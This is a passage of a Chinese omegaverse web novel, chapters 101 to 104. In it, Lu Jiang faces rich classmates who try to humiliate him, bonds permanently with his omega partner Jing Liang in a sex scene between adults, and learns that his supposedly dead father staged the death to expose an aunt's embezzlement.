“呵,怎么?连说都不能说,你接受不了吧?” 一阵死寂般的沉默。 卢羡发泄过后,已经慢慢平静了下来:“我的omega死了,我从地狱爬了出来,而他永远留在那恶臭腐烂之地,到死我都没有再见过他,连一句道别的话都没有。我们的孩子生了一个又一个,像被商品一样卖来卖去,已经找不回来了。” “这一切,都是谁害的?你说啊!!” 卢绛的心口紧揪着,疼得几乎无法呼吸。 “我是罪人,我犯了罪我认了,你报警啊!叫他们来抓我!!我现在活着的每一天,都像在油锅里煎熬着!你根本不会懂!” “我要怎么帮你?你说!”卢绛拉住了他,“只要你好好活下去。” “我用不着你帮我,只有一件事……” “什么?” 卢羡默了许久,才艰涩道:“她是对不起你,她恨你也是因为我……才会做出伤害你的事情,你饶恕她。如果我和她不曾分开,她应该会是一个很好的母亲。” “她一心想要我死,”卢绛暗抽了口气,瞬间像是吞下了无数刀片,“我饶恕她,你会开心吗?” “我开不开心,对你有那么重要?我们虽然是兄弟,但说起来,好像也没怎么相处过。” “我说我解你的痛苦,你也不会信,我希望你开心,就像我曾经也希望在自己最无助痛苦的时候,有个人能拉我一把,恨来恨去的一点意思都没有,人生或许不能自己选择,但是快乐可以。” 卢羡不可思议的盯着他,不解;“这世界上,怎么会有你这样的人?” “你好好考虑一下?是要带着仇恨活下去,还是开心地活下去?” “有什么意义吗?” “活着才能遇到奇迹。” 卢羡不自在的甩开了他的手,别开了脸去,“你不恨我了?卢佑铭……死了。” “我不知道,”卢绛垂下眼帘,“但我觉得,一切恩怨都应该在这里了结,我们都要好好地活下去。” “随便你们,不报警的话我走了,以后别再来找我。卢家的一切,我都觉得恶心!” 卢羡毫不留恋的转身大步离开,卢绛心情惆怅沉重,没有再阻拦。 此时手机响了。 卢绛掏出手机,接过景凉打来的电话。 那端景凉的声线发紧,“阿绛,你现在最好马上回来,乔秘书突然带了许多人过来,强行将你爸的遗体带走了,我拦不住。” “怎么会?”卢绛心中警铃大作:“我马上回来!” 卢绛赶回去的时候,乔秘书带着他父亲的遗体已经从地下车库离开了。 景凉一脸歉意:“抱歉,我试过了,但乔秘书的态度十分强硬,他带了好几个保镖,要真动起手来也只是徒劳。” 卢绛后怕的紧握住景凉的手,摇摇头:“没事,你好好的就行,我们先离开医院。” 回去的车上,卢绛不断给乔秘书打着电话,他一直不肯接。 直到卢绛手机快要没电,可能乔秘书也是被闹烦了,总算接了他的电话。 “卢少,有什么吩咐?” “别装了,你把我爸弄哪去了?” “已经烧了,卢少放心。” 卢绛胸膛巨烈起伏着:“我不信!你到底有什么目的?我爸在世时,对你不是挺好的吗?你想干什么?!” 100-110 第101章 第101章 要不找他玩玩?让他出出糗…… 乔秘书默了许久, 无奈轻叹了口气:“不好意思卢少,我还有事,先挂电话了。” 卢绛再打时,那边已经关了机, 而他的手机也没电了。 景凉安慰道:“别着急, 如果他一直回避,我们就找上门去。总之, 你想做什么, 我都陪你。” 卢绛闭目深吸了口气, 待冷静下来后, 才觉得种种不对劲儿。 “我们先回家再说吧。” 都这个时间了,景凉白天上班,晚上还要陪他跑来跑去,一定很累, 先回家休息再想好接下来对策。 “好, 都听你的。”景凉看着满是宠爱的笑意,即使面对这些事情, 卢绛还能这样冷静地, 控制好自己的情绪去面对,积极的想办法解决, 就已经做得很好了。 何况, 他才二十岁啊! 二十岁, 很多都是懵懂的年纪, 他却已经把别人一生要面对的苦难, 都吃了个遍。 回家洗了澡,景凉热了杯牛奶给他。 “小朋友喝杯牛奶,今天早点休息。” 卢绛接过牛奶, 杯在掌心温度很适宜,他慢慢将牛奶喝了。 景凉铺了床,点了沉香。 卢绛喝了牛奶便乖乖躺在床上等景凉过来。 景凉关了大灯,转身回了床上,小alpha便缠了上来,将他用力的抱在了怀里。 “不困么?” “一点点,但是想看着你,和你说会儿话。” 景凉轻拍着他的后背:“别担心,一切还有我在,不会有事的。” “嗯,有你在,我不害怕。” 卢绛吻了吻他的唇,清澈的眸子深情的凝视着他,不愿意挪开。 景凉哪被人这样看过,一张脸被他看得透红,伸手捂住了他的双眼:“快快睡觉。” 卢绛心满意足一笑,靠着他慢慢进入了梦乡。 景凉轻抚着他俊美疲倦的脸颊,心情凝重,“希望这一切快点结束。” * 卢绛在这期间回了一趟卢家别墅。 在房间的抽屉里找到了自己原来那部手机。 还好他没有扔掉,里面有很多景凉的照片还没有来得及传到网盘里。 他坐在床边独自一人欣赏着景凉的照片许久,嘴角翘着就没有下来过。 “凉哥真好看,也太好看了吧……” 将景凉的照片翻了一遍,他收拾了一些重要的东西,在床头发现了那本日记。 他粗略的翻了一下,发现另一个卢绛记录了一些东西。 卢绛细致将他的留言一一看完,眼眶微湿。 他合上日记放进了背包里,转身离开了卢家。 黎花果然没关多久,因为疑罪从无被释放。 但因为她被拘留,才让乔秘书等人有机可乘,将卢佑铭带走。 卢绛三天后得到消息,是在新闻媒体上,看到黎花面对着媒体人哭诉,自己丈夫的遗体被人带走,不知下落,如今连乔秘书都消失无踪。 景凉沉声道:“如此来看,乔秘书与黎花并不是一伙的,如今黎花想通过媒体的压力,逼黎秘书现身,倒是一步好棋。” 卢绛:“乔秘书为什么要这么做?他有这么做的动机吗?” “你有没有想过,卢佑铭他可能并没有死?” 卢绛狠抽了口气,脑子有片刻宕机,“这……怎么可能?” “为什么不可能?从抢救到乔秘书带走他为止,谁也没有再见过卢佑铭一眼,怎么确定他是真的死了?” “唯今的办法,只有尽快找到乔秘书。” 景凉默了会儿,摇头:“没必要找他,等到时机成熟,乔秘书会自己出来的。” “凉哥,你是不是猜到什么了?” 景凉目前也不确定,也只是猜测,也不排除卢佑铭真的死掉化成灰的事实,他不能给卢绛希望又让他失望,这无疑是二次伤害。 虽然他对卢佑铭没有那么深的父子情,但终究是父子一场。 “没什么,你别想太多,你明天还得去学校报到,都耽搁这些时日了,不能再耽误下去,乖乖去学院,知道吗?” 卢绛不由失笑;“放心吧凉哥,我学习不会落下的,我听你的。” 次日,卢绛去了学校报到,已经迟了一个月,办完一系例的入学手续,一进班级,所有人的视线纷纷落在了他身上。 同学们开始埋头低声议论起来。 “他就是那个卢家等级alpha啊?” “被赶出家门也太惨了,居然还敢来上学?” “咱们班上,一半都是金融圈的富二代,与他很熟悉吧?心上会有落差吧?他都这样了,还能融入进来吗?” “长得还挺帅的,我喜欢帅哥,你们别欺负人家。” …… 对于这些议论声,卢绛就当没有听到,找到自己的位置便坐了下来。 拿出课本开始听课。 听到一半,突然有一个纸团朝他脑袋上砸了过来。 卢绛瞥了眼滚落在地上的纸团,就当没看到,专心听课做笔记。 那扔纸团的二世祖,正是前一段时间还和前身一起喝酒玩乐的苏家的二少。 因以前他是首富家继承人的身份,所有人都以卢绛马首是瞻,谁诚想风水轮流转,他也会有被赶出家门落魄的一天。 那不得赶紧地将以前的帐都好好算一算? 苏毅见他不搭自己,暗中一通好骂:“狗崽种,居然敢无视老子,还以为他是卢家继承人吗?看我下课怎么收拾他!” 想着掏出手机在群里开始摇人,这群里都是金融系里与他交好的一群富二代,平时都在帝都圈子里,抬头不见低头见的人。 发光的金融天骄群: 【苏:姓卢的来上课了。】 【勇气可嘉哦,都这样了怎么还敢来上课?】 【他们家传言是不是真的?真的被黎家给吞了?@黎湛。】 【黎湛:你们tm别嚼舌根好不好?什么叫被我们黎家吞了?生意场上的事,是这么容易的事?三言两语能说得清吗?】 【是啊是啊,你们别乱说,干嘛惹黎少不高呢?大家都是同学,抬头不见低头见的。】 【我也没乱说什么呀?你是不是太敏感了?】 【苏毅:这不是重点啊!重点是以前姓卢的颐指气使,我早看不惯他了,你们就没想过要从他身上讨回来?】 【嘿嘿嘿,这倒是真的,想想他以前那不可一世的嘴脸,真恶心!把谁当狗呢?】 【要不找他玩玩?让他出出糗!】 【黎湛:欸,你们别太过份噢,好歹也是我的表弟。】 【黎湛,你以前也没少被他遛吧?】 黎湛当然巴不得卢绛被狠狠修,只是现在媒体的舆论风向十分敏感,说他们黎家耍手段合伙把卢佑铭害死,非法私吞了卢氏集团。 虽然,这也是事实…… 但怎么说,表面功夫还是要做的。 黎湛冷笑着,继续在群里装好人。 第102章 第102章 没关系,我后来也用信息素…… 【黎湛:哎呀, 你们不要这样,其实他现在落魄了,肯定也不好过,大家兄弟一场, 没必要做得这么绝。】 【他以前可没有把我们当兄弟, 你来不来?不来的话我们就自己上了。】 【黎湛:你们别乱来,行吧, 我过去, 但你们可悠着点。】 卢绛老老实实上课, 也没招惹任何人, 现在还不知道自己已经沦为了他们的‘猎物’。 下午有教授请假,所以三点就下课了。 卢绛收了书包准备回家,人才刚走到门口,便被黎湛那一伙人给拦了下来。 苏毅冷笑了声, 似是哥们好的揽过他的肩膀:“这么早回去呢?兄弟几个好久没聚, 一起吃个饭?” “没空。” “你也太不给面子了吧?大学还有三年,你难道就一直这样特立独行?” “是啊, 大家都兄弟, 一起吃个饭怎么了?都知道你近况,不会笑话你的。” …… 卢绛想直接一走了之, 但是他们缠着不放, 要是就在走廊打起来, 怕是影响不好。 毕竟第一天上学, 他还想给其他的新同学留个好印象。 “去哪?”卢绛无奈问了句。 苏毅:“去以前咱们常聚餐的那家酒店, 你开车过来了吧?” 因为早上怕堵卢绛是骑山地自行车过来的,也正好锻炼了身体。 大一寄宿他每天都有晨跑的习惯。 现在没有住学校,也没有条件晨跑, 便骑车替代。 “没有,你们开车带路,我在后骑车跟着。” 几个人一副看笑话的心态,跟着卢绛来到停车棚,见他取了自行车,一个个都憋着笑。 “卢少,你这……自行车?” “你以前的跑车怎么也不见开一辆出来,让咱哥弟几个长长见识?” 卢绛看着他们只觉得无聊幼稚至极,他知道他们想看什么,无非是第一首富家的继承人,现在落魄了,想看他绝望、无能狂怒的样子。 但让他们失望了,他不会,他只会觉得他们很可笑。 “到底要不要走?”卢绛面对他们已经没有多少耐性。 “走走走,”黎湛笑得一脸温和,实则心里的想法歹毒得很,“你要不还是坐我的车走吧,你骑自行车跟在后面,怕是跟不上。” “你们管你们自己。”卢绛也不想跟他们磨叽,骑着车先走了。 之前他想的是息事宁人,但现在在转念一想,都是一群吃软怕硬的玩意,一次把他们治服,省得日后再给他找不痛快。 他们开车比卢绛要到得早很多,在趁他没来之前,特意挑了酒店里最贵的东西点。 点完还恶劣的开起了玩笑。 “你们猜他能不能请得起这顿饭钱?” “他以前不是爱装B吗?这多好的表现机会。” “我赌他身上连一万块都没有,黎夫人可不是什么善茬。” “嗯哼~” 有人提醒了一声,毕竟这里还有一个黎家人。 他们这群见风使舵的,如今想要巴结黎湛还来不及,自然不会说一些不合适的话叫他不痛快。 “啊对了,阿湛,你家现在是不是已经开始在收购卢氏的股份了?” “那你们黎家,不就是新的首富吗?” “黎少以后可得多帮衬咱们兄弟啊,有什么发财路子别望了提携咱们一下。” 黎湛被捧得高高的,一时得意忘形。 “那是肯定的,我也不是那种薄情寡义之人对吧?在这圈子里,不讲义气没有诚信的人,也走不长远。” “这不得不说起卢少了,他跟您一比,简直相形见拙,天差地别。” “E级alpha,那不是跟废物一样吗?黎少可是A级!” 说到此,黎湛小小骄傲了一下,毕竟以前这是他在卢绛面前唯一的优势,现在也值得拿出说。 等到快上菜时,卢绛骑车赶了过来,随便找了个位置坐下。 卢绛没打算在这久待,给景凉发了消息,说他晚点会回家吃晚饭。 景凉本来打算不加班早点回去陪他,听到他说要晚点回家,便又在公司里继续工作了。 自从周洲请假之后,他手头上的事情明显多了起来,好在这个月底他就能正常来上班了。 菜陆续上了桌,所有人紧盯着卢绛的反应,他以前常来这间酒店,想必也知道这里的菜是都是什么价位。 他们尽挑了最贵的点,菜都快上齐了,卢绛连眉毛都没动一下,只是悠然地靠在椅子上,径自玩他的手机。 “卢少这是跟谁在聊呢?不会是你家那个omega吧?” “早听闻小景总的威名,一般人可招惹不起,可不得把卢大少管得死死的么?” “卢少,你真要跟小景总结婚,以后不是连跟我们一起出来的机会都没有了吧?” “那人生还有什么意义?做为一个alpha还是要有尊严的。” …… 卢绛听得烦了,低斥了声:“说够了吗?这么多菜,还堵不住你们的嘴?” 所有人怔愣在当场,没想到他落魄了还这么拽兮兮的,让人极度不爽。 “吃吃,卢少破产后,好不容易下血本请一次客,肯定要给足了面子。” “欸卢少,等下结帐的时候,刷卡要经过你家omega的同意吗?” 卢绛微笑:“你爸巨额刷卡要经过你妈的同意吗?” “你怎么骂人?!” “我骂你了吗?” …… 想看卢绛吃瘪的愿望破灭后,几人终于老实了点,看他那样子,怎么也不像被扫地出门的丧家犬,难不成这其中有什么隐情? 苏毅朝黎湛抛去一个疑惑的眼神,黎湛也觉得有些丢面子,于是急着想找回场子,还要摆出一副关心的嘴脸:“阿绛,三日后卢氏董事会议,多个项目转让签定协议,通知你了吗?” 卢绛怔愣了片刻,这是倒是他第一次听说。 瞧他那表情,黎湛很是满意,趁热打铁道:“生意场上的事情,是很难说得准的,毕竟盘子就这么多,胜者为王,败者为寇,如今我们黎家胜你一筹,你不会对我这个做哥哥的有意见吧?” “你是不是想多了?”卢绛毫不客气的反问,“卢家和黎家生意上的事情也不难说,黎家能吞并卢家这些产业,不是多亏了你有个好姑姑一直在卢家吃里扒外?” “你什么意思?”黎湛脸上的笑容终于挂不住了,差点没能装下去。 卢绛不在意的吃了口菜:“你现在才知道?不是背地里干了很多年了吗?既然你说是三日后,那便三日后再看吧,谁输谁赢没有到最后都不一定。” 这样的气场将在坐的几人唬得一愣一愣的,黎湛心里越想越觉得不安,嘴里的高档食物,跟嚼蜡似的。 “对了,我想起来家里还有点事情,先走一步,你们慢吃。” 黎湛果真坐不住了起身离了席。 苏毅最大的靠山就是黎湛,他一走,所有人都跟着老实了。 卢绛瞥了他们一眼:“要是别的事,我也先走了,单我会买,服务员,帮我买单。” 见他十分大方的掏出一张黑卡,所有人瞪着眼说不出一个字。 临走前,卢绛说道:“以后大家还是同学,抬头不见低头见,能和平相处吗?” 除了苏毅,其他几人连连点头。 “大哥您胸襟这么宽广,出手如此阔绰,以后咱们好好相处。” “是啊是啊,刚才我们也是一时鬼迷了心窍,得罪之处,勿怪!” 苏毅见他们跟墙头草似的,不过眨眼的功夫就一边倒了。 见苏毅没有说话,卢绛将视线落在了他身上,别以为他不知道,今天这个事就是苏毅挑的。 “苏毅,你叫这个名字是吧?” 苏毅莫名一阵心虚,卢绛的气场太过强大,明明是个E级alpha,怎么会有这么强大的压迫感? “是,你……” “如果你一定要跟我过不去,那我也不会任人欺负,还有下次,不会这样算了的。” 苏毅呼吸一窒,猛地抬头看向卢绛,胆怯地咽了口唾沫星子。 “不,不会有下一次。” “那以后能好好相处吗?” “嗯,能的。”苏毅在面对卢绛强大的信息素压制下,跟老鼠见了猫似的胆颤心惊。 卢绛满意一笑,接过服务员送回来的卡,“你们慢吃,还有这么多菜,别浪费。” 骑着自行车,穿过深秋的夜幕,视线在霓虹明灭闪烁的光影中有些恍然,冷冽的夜风像是一把梳子,将他的思绪一条一条清。 或许,卢佑铭真的没有死! 卢绛脚下的速度更快,想快点见到景凉,他要把自己的想法都告诉他。 没想到两人同时到了院子,卢绛将车停在了他的车窗边。 车窗降下,卢绛低下头往里看,“好巧啊!” “哟,我家小同学放学回家了?” 卢绛傻笑了两声:“好饿!” “赶紧进屋洗手,准备吃饭吧。”说着景凉将车停到了车库。 阿姨掐着时间做好饭菜,等他们回家,饭菜刚好端上桌。 “先生,卢少,赶快吃饭吧。” “谢谢阿姨。”卢绛洗了手不忘感谢阿姨的辛劳,这才乖乖坐到桌前拿起筷子吃饭。 阿姨越看越喜欢,真是又乖又有礼貌的孩子! 景凉每次看他吃饭都吃得很香,食欲也有所增涨。 卢绛将今天放学时发生的事情,说给了景凉听,景凉眸光黯了黯,“这么放过他们,真是便宜他们了。” “没关系,我后来也用信息素压人了,他们以后一定不敢再随意招惹我。” 景凉满是心疼地看着他,他们家的小alpha真是善良啊! 等到快吃完时,卢绛才说道:“凉哥,我觉得我爸没有死!” 景凉的心漏了一拍,他之前一早便有这个猜测,却不知卢绛是因为什么下了这个定论? “怎么说?” “两过三日,卢氏董事会议,重新结算各大项目股权分配,你听说了吧?” “嗯。”景凉点了点头,虽然是商业机密,但是他也听到了一些风声。 第103章 第103章 永久标记 卢绛默了会儿, 了下脑海里的思路。 “我爸,从进医院,到突然死亡,如今连尸体都找不到, 这一切都太匪夷所思, 他那么狡诈的一个人,怎么会没有发现黎花这么多年来, 一直在黎家与卢家的合作项目里做假帐, 挖空卢氏?” “继续说。” “我觉得他只是任事态这样发展下去, 好引蛇出洞, 这一盘棋,他下了很多年,想要一网打尽,如果我猜测是正确的, 那么三日后就是他收网之时。” 景凉看着他惊叹了声:“阿绛, 你在这个年纪能有这样的见地和思考,实在太强了。” 卢绛被他一夸, 就有些不好意思起来, 他觉得自己并没有景凉说得那么厉害。 “我也是后知后觉,从对我爸的了解而推测出来的结果, 目前也不知道是不是对的。” “三日后, 就有答案了。” “对了凉哥……” “嗯?” “先去洗澡吧, 晚点我再和你商量。” 看他一副欲言又止的模样, 景凉宠溺一笑:“好, 我先去洗澡。” 卢绛趁他洗澡时,拿出电脑做了一下课题作业,大二的课业虽然也没有传说中的那么轻松, 还有一大堆证等着他考,但卢绛把计划都排好了,能在大三末期时将能拿到的证件都拿到手,要是顺利的话,还能提前一些毕业,然后早点进入社会好好经营公司,养老婆! 景凉特意抓紧洗完出来,还带着一身湿气,头发半发,看到alpha正在拿电脑写课题作业,没有上前打扰,而是率先上了床,拿着手机回复工作邮件。 景凉是很容易将精力投入到工作中的,卢绛什么时候来到身边的都不知道。 直到他的头发被指尖撩动,他才抬头看向卢绛:“啊?你弄完了?” “嗯,在学校里就做了一些,我帮你把头发吹干。” “这么体贴懂事?” “你以后别这样,听老人说过洗澡不把头发吹干,老了会偏头痛。” 说着打开了吹风机,给他温柔细致的吹着半干的头发。 景凉轻轻靠在他的怀里,闻着他身上淡淡的信息素的味道,感觉到很安心。 吹了几分钟后,卢绛关掉了吹风机,坐在床沿有些难为情的踢着脚尖,没有看他。 景凉从身后抱了过来,吻了吻他的脸颊:“怎么不说话?到底什么事?吊了我快一个晚上了。” “我们,我们戒指也买好了。” “是啊,早就买好了,”景凉顿了顿,“你不会把我送你的戒指给弄丢了吧?” “当然不是,我戴着呢!”说着举起了手,左手无名指上亮闪闪的戒指,宣示着他是谁的alpha,这让景凉感到无比满足和喜悦。 “每天都好好戴着吗?” “嗯,每天戴上就没有取下来过。” “真棒!” “我是说,我们要不要趁着暑假,把婚礼办一办?”卢绛有些不确定,因为景凉是个事业心很强的omega,而且自己现在在他眼里,应该还不算是一个成熟的男人,不知道他会不会接受,就这样提出来,会不会让他感到为难? “你要是不愿意,我,我也没关系,我等你愿意的时候。” 景凉心脏被刺了下,发疼。 他执起卢绛的手,与他十指相扣:“你怎么会认为我不愿意?其实你知不知道,我等你这句话,已经很久了。” “你,等我?” “怎么,我等你是件让你很惊诧的事情吗?” 卢绛面上一喜,心里美滋滋的抿唇笑着摇摇头。 景凉掐着他的下巴:“偷笑什么呢?” “我得意!” “这有什么好得意的?” “你愿意嫁给我,是个alpha都会得意的。” 这小嘴甜得,让景凉一颗心都快要被甜化了。 “我们还有一件事情没有完成。” “什么?” “永久标记。” 景凉不安的看着他:“你现在还是不愿意永久标记我吗?” 卢绛笑了声:“我愿意,以前不愿意……不是,不是不愿意,是害怕,我害怕我会再次回到我原来的世界,那里没有你,我怕我再也回不来。” “那现在呢?” “现在,我不害怕了,这次我再也不会走,我要和你在一起,一辈子。” “一辈子怎么够?” “那,生生世世。你会不会烦我?” “怎么会呢?生生世世,每一次投胎转世,我们会重新开始认识、相爱、相守一生,一点都不无聊。” 卢绛一时情动,激烈的吻住了他的唇,两人唇舌交缠,久久才分开。 直到卢绛有了反应,他克制的推开了景凉。 沉浸在情欲中的omega有些错愕,居然将他推开了!这让人很有挫败感! 卢绛似是意犹未尽地舔了下唇,景凉心脏漏了一拍,脸颊滚烫。 “我先去个澡,今天骑了很远的路,身上沾了灰,还出了很多汗,有点脏。” 真是爱干净的小alpha,景凉放松的往后躺去,“那好吧,我可不会等你太久。” 本来是想逗他的,没想卢绛当了真,抓起睡衣一溜烟的跑进浴室,平时洗澡二十多分钟,今天只用了十多分钟就跑出来了。 一个恶狗猛扑的姿式,差点没把景凉给压瘪。 “我洗好了。” “嗯嗯,你差点把我撞死。” 卢绛笑了笑,用力亲了他几口,呼吸有些急促:“要我的信息素吗?” 景凉乱了呼吸,狠狠期待住,“给我……” 卢绛一点点释放出自己的信息素,景凉爱惨了这个味道,着了魔般将整个脸埋进了他的脖子,用力嗅着他的信息素。 omega的信息素因情动而开始漫溢开来,指尖足够的湿润让卢绛不再忍耐。 景凉配合着他将身体打开到了极致,方便alhpa的采撷。 那极有份量的热源与他融为一体,开拓着义无反顾地推进,待景凉适应后,激烈的动作仿佛连天花板都在晃动。 景凉唯一能做的,只是拼尽全力抱紧alpha,犹如溺水之人,抓住唯一求生的浮木。 卢绛感觉到即将成结,有些粗暴地将他转过身去,突如其来的转变,让景凉不由重重低喘了声,随即后颈被alhpa叼住,犬齿咬破了他的腺体,在成结的一瞬将浓烈的信息素注入omega的腺体中。 这个过程足足持续了半个小时,alpha舔舐着他后颈的咬痕,景凉就这么被压制着无法动弹,他承受力已经到达了极限,声音颤抖着带着一丝哭腔,“还没好吗?怎么这么久……” 卢绛往后撤了撤,依然牵扯着没有消停的迹象。 “凉哥,好像出不来了。” “你……”景凉一脸绝望,“那怎么办?” “这是正常的吗?永久标记都这样吗?” Alpha一脸惊讶与无措,然后开始到处找手机,景凉难受的低喘着:“你别乱动!” “我找手机查一查。” “别乱查些莫名奇妙的东西!” 就在卢绛拿手机查,越查越感觉出不来时,结开始消退,终于分开了。 景凉低头看着脏污的床单,抬手掩住了面颊,红透到脖子根。 太傻了! 卢绛先去浴室冲洗,又将浴缸放满了水,才抱他去了浴缸。 “你泡好了叫我,我去把床单换了。” “嗯。”景凉掬了把热水,双掌掩着面,刚才兵慌马乱的情景一遍遍在脑海里浮现,太难为情了啊! 原本一挑逗就脸红的alpha现在脸皮比他厚,羡慕他的从容淡定。 浴室门应声关上,卢绛抓狂的薅着自己的头发,是不是完成终身标记他太紧张的原故?太吓人了,幸好,有惊无险! 卢绛脸红到脖子根,赶紧将床单给换了,脏床单扔进了楼下的洗衣间里。 三天后,卢氏招开高层董事会议。 黎氏当家人和继承人都到了场,而卢氏集团分成了两派。 一派持反对意见,一派支持卖掉手中现有的卢氏项目股权,投资别的产业。 谁都知道一旦将股权转移,整个卢氏便将会被彻底吞噬变成黎家的,哪还有投资发展别的产业的可能?到时候连话语权都是别人的。 如今走到这一步棋,卢氏群龙无首,那些元老级的董事会成员,也只是无奈轻叹,大势已去,他们也无能为力。 一半董事已经起身,陆续准备离场,留下来的与黎氏正要喜滋滋签定股权转让协议时,一群警察突然鱼贯而入,而他们身后乔秘书正推着轮椅上的卢佑铭大剌剌的走进了会议室。 警察当即出示了逮捕令,“黎花女士,有人举报你做假帐,盗用公款私用,幕后非法操控股价,证据确凿,请您配合我们调查,跟我们走一趟。” 黎花跟见了鬼似的,瞪大着双眼不敢相信自己的眼睛。 “卢佑铭,你居然没死?!” 卢佑铭一脸凝重:“你就这么盼着我死?好刮分卢氏集团?” 黎花见大势已去,凄然一笑:“这十多年来,你竟没有一天是相信过我的,一直在算计着我,一直在等着这一天是不是?!” “我也不希望有这一天,可是你的所做所为让我很失望,从你决定背叛我,背叛卢氏开始,就应该会想到有这么一天。” “卢佑铭,你真该遭雷劈!” “我有罪老天会惩罚我,还轮不到你和黎氏来定夺我的生死。” 黎花双眼满是憎恨的盯着他,没有再挣扎,任警察将她和几个黎家人一并带走调查了。 这张网撒了这么多年,今日终于收网了。 卢佑铭的一颗悬着的心也落了下来,看着刚才一半支持黎氏集团的几个董事会成员。 有些还是公司成立时,与他一起打江山的老友。 没想到会走到今天这个地步。 “你们自己辞职,还是让我请你们离开卢氏?” 一阵死寂的沉默之后,几个董事成员纷纷选择了自己离开。 “看在这么多年的情义上,我不会起诉你们,去财务部把自己的股份都结算了吧,咱们江湖不见。” 第104章 第104章 你是掉落人间的天使 卢氏的震荡在当天便上了头条新闻, 各媒体争相报道。 卢绛在学校的食堂里正在吃饭,拿手机回复霍临的邮件时,看到了这个消息。 看来他和景凉猜测的都是对的,这一切都只是卢佑铭设的局。 因为之前就已经有了猜测, 所以此刻得到消息, 并没有任何意外与震惊。 卢绛默默的吃着饭,想到现在已经跟自己的omega终身标记, 嘴角总是不由自主的翘了起来。 坐在他对面的omega看得一阵脸红:“你们看, 新来的校草他又对我笑了。” “说什么呢?他刚才明明是对我笑。” “我怎么觉得他是对我笑?” “校草那双深邃的眼睛, 看条狗都深情, 你们多吃饭少胡思乱想。” …… 快要吃完的时候,卢绛的手机响了,看了眼来电显示,是卢佑铭打来的。 他心情复杂的接了电话。 “今晚回来一趟, 一起吃个饭吧。” “嗯, 我带我的omega一起回来。” 卢佑铭默了会儿,才应了声:“随你。” 卢绛随即给景凉发了条信息:【卢佑铭叫我回家吃饭, 你跟我一起回家吗?】 【你想我陪你一起去?】 【当然想, 但如果你工作太忙,我自己去好了, 你不用勉强自己。】 其实也不是什么重要的事情。 【今天不用加班, 那等你放学我过来接你?】 【好啊, 我等你。】 卢大学霸平时学习矜矜业业, 只有在今天开了好几次小差, 跟不上老师讲课的进度。 终于熬到最后一节课,已经下午六点。 看了眼手机消息,景凉已经在学校的后巷等他过去了。 卢绛没再耽搁以最快的速度迅速跑了过去, 他不想让景凉等他太久。 一眼看到他的车,卢绛上前才刚弯下腰往里看时,正在看手机的景凉立马注意到了他的存在,打开了车锁。 卢绛拉开车门钻进了副驾驶座。 “对不起凉哥,今天下课晚了些。” “没关系,怎么额头上都是汗?我又不会飞了,赶那么急做什么?” “我想早点看到你。” 景凉抬手揉了揉他的头发,开车前往卢家别墅。 到了的时候,天已经黑了,秋天黑得比夏日要早。 进了屋,当卢绛看到沙发上坐着的卢羡时,怔愣了会儿,他没有想到会在这种情况下看到他。 卢羡整个人显得很平静,不,应该说是死气沉沉的,似乎这世间什么东西都引不起他的兴趣。 景凉轻声说道:“我去你房间?” “好,我先送你上去。”卢绛深深看了眼卢羡,牵着景凉的手,也没跟他爹打招呼,便先带着景凉回自己房间了。 现在这种尴尬的场景,他也不想让景凉面对。 “我的房间就是你的,没有人会进来,你先休息一下,等下吃饭了我就叫你。”卢绛抱着他,又亲又嗅,像只大狗狗。 自从永远标记后,两人的信息素融合度越高,好想时刻都腻歪在一起,仿佛永远都看不够对方。 “你去吧,我自己玩会儿手机。”景凉率先将他推开,再不推开他真怕腻歪得没法分开。 怀里的omega走开了,卢绛失落了几秒,强忍住要将他再抱进怀里的冲动,转身走出了卧室去找卢羡了。 卢佑铭现在还在书房开视频会议,卢绛抱起贴上来的咪咪,来到了卢羡跟前。 “这段时间,你去哪了?” “找个份包吃住的工作。” “你在打工?” “对啊,我不能打工吗?” “呃,没有,这样也挺好的,可以找些事情做,分散一下注意力。” 卢羡看着他怀里的咪咪,不由笑道:“连它都更喜欢你。” “啊?”卢绛一时没反应过来,过了会儿才明白他指的是何意,“你别这么想。” “其实我这次来这里,是为了我妈的事情。” 卢绛听罢如梗在喉,虽然知道黎花对他所做的一切皆事出有因,但他无法原谅她几次三番对自己下死手。 若是选择原谅,这对他和过去的卢绛都不公平。 卢羡嘲讽一笑:“你现在应该知道了,他将我弄回来,总是处处与你做比较,只是想拿我当你的磨刀石,所有人一开始就弄错了,卢佑铭对我没有父子之情,他的儿子只有你一个。” 卢绛心口难受得厉害。 又听卢羡说道:“就像黎花,即使她跟你这么多年的母子之情,但她对你只剩下了恨与厌恶,可她是真心的对我好,她想当一个好妈妈,卢绛你能明白吗?你还拥有很多东西,而我只有她了。” “你应该去找爸爸说,但你妈妈做的那些事情,每一条都是她罪有应得,我宽不宽恕她,已经没有任何意义。” 卢羡:“我有时候,是真的很羡慕你。” 说完,卢羡转身去书房找卢佑铭了。 也不知道说了些什么,卢羡很快从书房里出来,脸色并不太好,经过卢绛身边时不发一语的离开了卢家。 没一会儿,卢佑铭铁青着脸也坐着轮椅让乔秘书推了出来。 看到卢绛呆呆地站在那时在,脸色缓和了一些:“回家了怎么也不过来跟我打声扫呼?” “卢少。”乔秘书冲他浅笑了声。 “哥刚才与你们说了些什么?” 卢佑铭冷嗤了声:“他妄想让我撤掉对他母亲的诉讼!我说不可能,他就气呼呼地走了,一点儿也没有将我放在眼里!这样的人,你以后不要再叫他哥。” 卢绛:“他不也是你的儿子?” 这句反问让卢佑铭默了许久,看样子,也不是全然不在乎卢羡这个儿子的。 但毕竟刚一出生就被送了出去,一个从一出生就不被期待的孩子,卢佑铭确实对他没有什么太多的感情。 “今年暑假你就去卢氏实习吧!” 卢绛一阵窒息:“我有我自己的事业,对了,我想跟你说一件事。” “什么事?” “我以后不会继承卢氏,如果你想有继承人,或许卢羡是一个不错的选择,从现在培养也不迟。” 卢佑铭顿时气得将桌上的水杯给摔了:“你知道你在说什么?我为你做了这么多,铺了那么久的路,你说你不要?” “你说你给我铺路,有没有问过我的想法?我是一个人,不是你的工具。” “你这个逆子!”卢佑铭破口大骂,他自以为隐忍良多,没想到最后自己的儿子竟是一点也无法体谅他的辛苦,“你那个破公司,难道不是我借你那些钱才做起来的?怎么?现在做出点成绩来,你就翻脸不认你老子了?!” 卢绛没想到他爹会发这么大的脾气,“爸,你吓到我了。” “你……”卢佑铭气得青筋暴起,“你胆子有那么小?” “你也没对我这么凶过啊!” “没出息的东西!” 卢绛默了会儿,说道:“卢羡现在已经一无所有,您真能看着他继续流落在外,不闻不问吗?” 卢佑铭对黎花从始至终没有感情,甚至对他们的孩子也只有利用,这种人有时候无情得真可怕,然而却是这一点,他那不多的关心与疼爱,竟又让人觉得是不同的。 爱欲其生,恨欲其死。 